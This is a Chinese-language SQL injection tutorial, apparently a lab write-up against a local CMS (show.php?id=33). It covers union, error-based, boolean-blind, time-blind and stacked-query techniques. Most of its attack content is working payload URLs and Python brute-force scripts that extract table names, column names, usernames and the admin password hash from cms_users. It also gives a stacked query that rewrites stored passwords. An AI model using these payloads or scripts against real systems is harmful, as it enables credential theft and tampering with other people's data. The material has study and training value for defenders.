赞
踩
适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select
语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询。
order by
select
语句后 order by
加数字,意为根据第多少列排序。
如果报错,则说明没有该列,继续向小的数字更改查询,直到查询出列数最大值
说明该表有 15 列
原理
例
将前一条查询语句置为假,查看哪些列会显示在页面
使用数字 1-15 占位,看哪那个位置会显示到页面
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
敏感信息 | 含义 |
---|---|
version() | 数据库版本 |
database() | 当前正在使用的数据库的名称 |
@@datadir | MySQL服务器的数据目录路径 |
current_user() | 当前用户的用户名和主机名 |
information_schema 元数据库中的 tables 表中存储着数据库中所有的表
information_schema.tables 表结构:
用到的字段 | 含义 |
---|---|
table_name | 表名 |
table_schema | 表所属的数据库 |
在 sql 注入中查询所有的表:
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables
此处因为联合查询,每列的数据类型不同而报错,将 table_name
转换为 16 进制的数值型
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables
总共有 517 个表名,因为此前查出在 cms 表中,增加筛选条件
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables where table_schema=database()
十六进制转换成字符
此处可以使用 group_concat()
连接显示出整列中的内容
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()
转码
用户名和密码可能存于 cms_users 表中
information_schema 元数据库中的 columns 表中存储着数据库中所有的列
information_schema.columns 表结构:
用到的字段(列) | 含义 |
---|---|
table_schema | 所属数据库 |
column_name | 列 (字段名) |
查看 cms_users 表中的字段
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
读取用户名、密码
http://10.9.47.80/cms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,group_concat(username,':',password),12,13,14,15 from cms_users
解密
在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
报错注入的原理,就是在错误信息中执行 SQL 语句。
?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
显示长度有限制,可以拆分查询
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
当 sql 语句出现闭合时,显示报错信息
在报错信息后加报错查询
and updatexml(1,concat(0x5e,(select database()),0x5e),1)
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database()),0x5e)) --+
报错返回多于一行
加限制条件,一次查询一条,从 limit 1,1
开始,直到查到 limit 7,1
出现 cms_users 表可能存在用户信息
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 2,1),0x5e)) --+
http://10.9.47.148/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select group_concat(username,':',password) from cms_users),0x5e)) --+
解密
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。
phpstudy 的数据库交互太慢,改用 xampp,但 xampp 中无数据库 ‘cms’ ,需要将 phpstudy 中的 cms 数据库导入 xampp 中的数据库(phpstudy 和 xampp 使用的不是同一个数据库)
启动 phpstudy(启动 phpstudy 的数据库),打开 cmd
导出数据库 cms
mysqldump -u root -p cms > c:\cms.sql
停止并退出 phpstudy
打开 xampp 的 apache 和 mysql,并开启终端
登录数据库,创建 cms 数据库,进入 cms 数据库,导入数据库
mysql -u root -p
create database cms;
exit
mysql -u root -p cms < C:\cms.sql
成功导入
再次访问
当语句后跟正确或错误的语句时页面显示内容不同
http://10.9.47.148/cms/show.php?id=33 and 1=1
http://10.9.47.148/cms/show.php?id=33 and 1=2
可知,当后面的语句为真时,显示新闻页面
可以利用 1=1
位置的真假返回不同页面判断数据库信息
判断数据库名的长度是否大于 10
http://10.9.47.148/cms/show.php?id=33 and length(database())>10
未显示新闻页面,说明判断条件即 length(database())>10
错误,数据库名小于 10 位
多次判断,最后可知数据库名长度为3
http://10.9.47.148/cms/show.php?id=33 and length(database())=3
使用函数 substr()
逐个字母进行判断
判断数据库的第一个字母是否为 “s”
http://10.9.47.148/cms/show.php?id=33 and substr(database(),1,1)='s'
未返回新闻页面,说明数据库名第一个字母不为 “s”
测试字母 “c”
http://10.9.47.148/cms/show.php?id=33 and substr(database(),1,1)='c'
成功返回
bp 抓包查看按位测试成功和失败时返回数据包的不同
发现当测试成功时,返回数据包的 Content-Length
长度为 5263,可以利用这一点进行判断
import string import requests strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) database_name="" # 遍历第1-3位 for i in range(1,4): # 每位遍历字母数字下划线 for j in str: url = f"http://10.9.47.148/cms/show.php?id=33 and substr(database(),{i},1)='{j}'" res = requests.get(url=url) if res.headers["Content-Length"] == "5263": database_name+=f"{j}" break print(database_name)
逐条查询
http://10.9.47.148/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1)='l'
# limit 1,1 中第一个 1 代表查询出的第 1 个表名,后面 1 为显示几个表
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从表名的第 1 个字符起,查询 1 个字符
可以判断出第一个表名的第一个字符为 c
编写脚本
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-20个表 for i in range(0,20): # 跑完一个表则重置表名 table_name = "" # 假设每个表的表名最长10位,每个表名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1)='{name_str}'" res = requests.get(url=url) # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到表名,继续爆破下个字符 if res.headers["Content-Length"] == "5263": table_name+=name_str break print(table_name)
http://10.9.47.148/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),1,1)='u'
# limit 1,1 中第一个 1 代表查询出的第 1 个字段名,后面 1 为查询几个字段
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从字段名的第 1 个字符起,查询 1 个字符
脚本源码
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-10个字段(假设最多10个字段) for i in range(0,10): # 跑完一个字段则重置字段名 column_name = "" # 假设每个表的字段名最长10位,每个字段名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}'" res = requests.get(url=url) # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到字段名,继续爆破下个字符 if res.headers["Content-Length"] == "5263": column_name+=name_str break print(column_name)
http://10.9.47.148/cms/show.php?id=33 and substr((select username from cms_users limit 1,1),1,1)='a'
# limit 1,1 中第一个 1 代表查询出的第 1 个用户名,后面 1 为查询几个用户名
# 后面的 1.1 为 substr() 中的数值,第一个 1 表示从用户名的第 1 个字符起,查询 1 个字符
脚本源码
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-10个用户名 for i in range(0,10): # 跑完一个表则重置用户名 user_name = "" # 假设每个用户的表名最长10位,每个用户名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select username from cms_users limit {i},1),{j},1)='{name_str}'" res = requests.get(url=url) # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到用户名,继续爆破下个字符 if res.headers["Content-Length"] == "5263": user_name+=name_str break print(user_name)
源码
import string import requests import hashlib # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) password = "" # md 5 加密后 32 位,爆破 32 位 for j in range(1,33): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}'" res = requests.get(url=url) # 返回数据包的头部 Content-Length 值位 5263 则说明查到该位的正确字符,将此字符拼接到密码,继续爆破下个字符 if res.headers["Content-Length"] == "5263": password+=name_str break print(password)
解码
由于网络问题等原因,若超时时间太短可能造成爆破不准确,但超时时间设置过长会导致爆破时间成本上升
通过 if 中的条件,如果为真则沉睡,否则不沉睡
此处按位测试第一个字符,如果当前数据库第一个字符匹配时,则加载五秒
http://10.9.47.148/cms/show.php?id=33 and if(substr(database(),1,1)='c',sleep(5),1)
脚本中的判断条件:延时
为了节省爆破时间,将延时改为 1
此种方法爆破时间比延时注入长
import string import requests strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) database_name="" # 遍历第0-3位 for i in range(0,4): # 每位遍历字母数字下划线 for j in str: url=f"http://10.9.47.148/cms/show.php?id=33 and if(substr(database(),{i},1)='{j}',sleep(1),1)" # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符 try: res = requests.get(url=url,timeout=1) except requests.exceptions.ReadTimeout: database_name+=j break print(database_name)
依次判断每个表的每个字符,若沉睡,则字符匹配
http://10.9.47.148/cms/show.php?id=33 and if(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)='c',sleep(5),1)
脚本源码
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-20个表 for i in range(0,20): # 跑完一个表则重置表名 table_name = "" # 假设每个表的表名最长10位,每个表名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1)='{name_str}',sleep(1),1)" # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符 try: res = requests.get(url=url, timeout=1) except requests.exceptions.ReadTimeout: table_name += name_str break print(table_name)
爆破出 cms_users 表
http://10.9.47.148/cms/show.php?id=33 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 0,1),1,1)='u',sleep(5),1)
若字符匹配则延迟
由于网络问题等原因,若超时时间太短可能造成爆破不准确,但超时时间设置过长会导致爆破时间成本上升,为提升准确性 ,爆破时间稍长 ,不报错则耐心等待
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-10个字段(假设最多10个字段) for i in range(0,10): # 跑完一个字段则重置字段名 column_name = "" # 假设每个表的字段名最长10位,每个字段名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{name_str}',sleep(3),1)" # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符 try: res = requests.get(url=url, timeout=3) except requests.exceptions.ReadTimeout: column_name += name_str break print(column_name)
http://10.9.47.148/cms/show.php?id=33 and if(substr((select username from cms_users limit 0,1),1,1)='a',sleep(5),1)
脚本源码
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) # 跑第0-10个字段(假设最多10个字段) for i in range(0,10): # 跑完一个字段则重置字段名 column_name = "" # 假设每个表的字段名最长10位,每个字段名按位查询 for j in range(1,10): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select username from cms_users limit {i},1),{j},1)='{name_str}',sleep(5),1)" # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符 try: res = requests.get(url=url, timeout=1) except requests.exceptions.ReadTimeout: column_name += name_str break print(column_name)
源码
import string import requests # 定义表名字符集(字母数字下划线) strings = string.digits+string.ascii_letters+'_' str = [] for i in strings: str.append(i) password = "" # md 5 加密后 32 位,爆破 32 位 for j in range(1,33): for name_str in str: url = f"http://10.9.47.148/cms/show.php?id=33 and if(substr((select password from cms_users where username = 'admin' limit 0,1),{j},1)='{name_str}',sleep(1),1)" res = requests.get(url=url) # 捕获异常,如果超时,则该字符匹配,在 password_name 后拼接该字符 try: res = requests.get(url=url, timeout=1) except requests.exceptions.ReadTimeout: password += name_str break print(password)
解密
;
结束上条 SQL 语句,另起一条语句进行增删改查操作
一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。
?id=2';update users set password='123456'--+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。